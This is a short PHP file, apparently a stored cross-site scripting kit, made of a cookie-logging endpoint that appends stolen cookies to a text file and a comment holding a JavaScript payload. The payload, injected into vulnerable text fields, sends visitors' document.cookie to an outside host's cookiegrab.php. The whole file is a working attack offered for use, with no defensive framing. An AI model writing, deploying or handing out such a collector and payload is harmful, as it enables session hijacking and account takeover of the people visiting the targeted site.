stored_xss.php

<?php

    $cookie = $_GET["c"];
    $file = fopen('cookie.txt', 'a');
    fwrite($file, $cookie . "\n\n");
    /*
    inject
    <script language="javascript"> document.location= " http://kennethzhang.net/cookiegrab.php?c=" + document.cookie; </script>
    into vulnerable text fields
    */
?>